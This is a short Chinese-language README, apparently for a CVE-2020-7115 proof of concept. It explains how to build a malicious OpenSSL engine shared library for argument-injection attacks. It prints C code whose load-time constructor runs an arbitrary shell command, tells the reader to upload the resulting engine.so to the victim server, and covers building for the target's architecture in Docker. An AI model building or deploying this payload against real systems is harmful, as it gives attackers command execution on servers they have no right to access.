数秒内创建你的恶意引擎
简单的脚本,用于生成一个恶意引擎,使其可以直接在 openssl 参数注入场景中使用。
非常简单,只需修改 engine.c 文件,填入你选择的命令:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
完成后,只需按如下方式运行脚本:
bash build_engine.sh
该命令会创建一个名为 output 的文件夹,里面包含一个名为 engine.so 的文件,你需要通过文件上传功能将其发送给服务器。
你需要了解,必须使用与受害者系统相同的特性来创建恶意引擎。也就是说……如果目标系统运行在 64 位 Linux 上,你必须在 64 位 Linux 上创建恶意引擎。
Docker 是处理这类事情的绝佳技术,搭建环境也非常简单。
首先,从这个网站下载 64 位 Debian Linux 系统的 Docker 镜像:
sudo docker pull debian
然后按如下方式启动 Docker:
sudo docker run -v `pwd`:/code -it debian
我们来稍微理解一下这里做了什么。-v 标志用于创建卷,这里我们将 /code 文件夹的内容与当前目录文件夹的内容关联起来,因此使用了 pwd。
所谓的“关联”指的是,我们在 /code(位于 Docker 镜像根目录下的文件夹)中创建或编辑的所有内容,都会在 pwd 中看到,反之亦然。
在我们的例子中,pwd 指向本地机器上的以下目录:
/home/retr0/CVE-2020-7115/
另一方面,-it 标志可以这样理解:
-t (--tty) 标志告诉 Docker 在容器内映射一个虚拟终端会话。这通常与 -i (--interactive) 选项一起使用,后者即使在“分离模式”下运行也会保持 STDIN 打开。
因此,实际使用 -it 标志在我们想要进入对应容器的 shell 时非常有用。
没问题,只需访问这篇文章,我相信你会完全理解这个漏洞。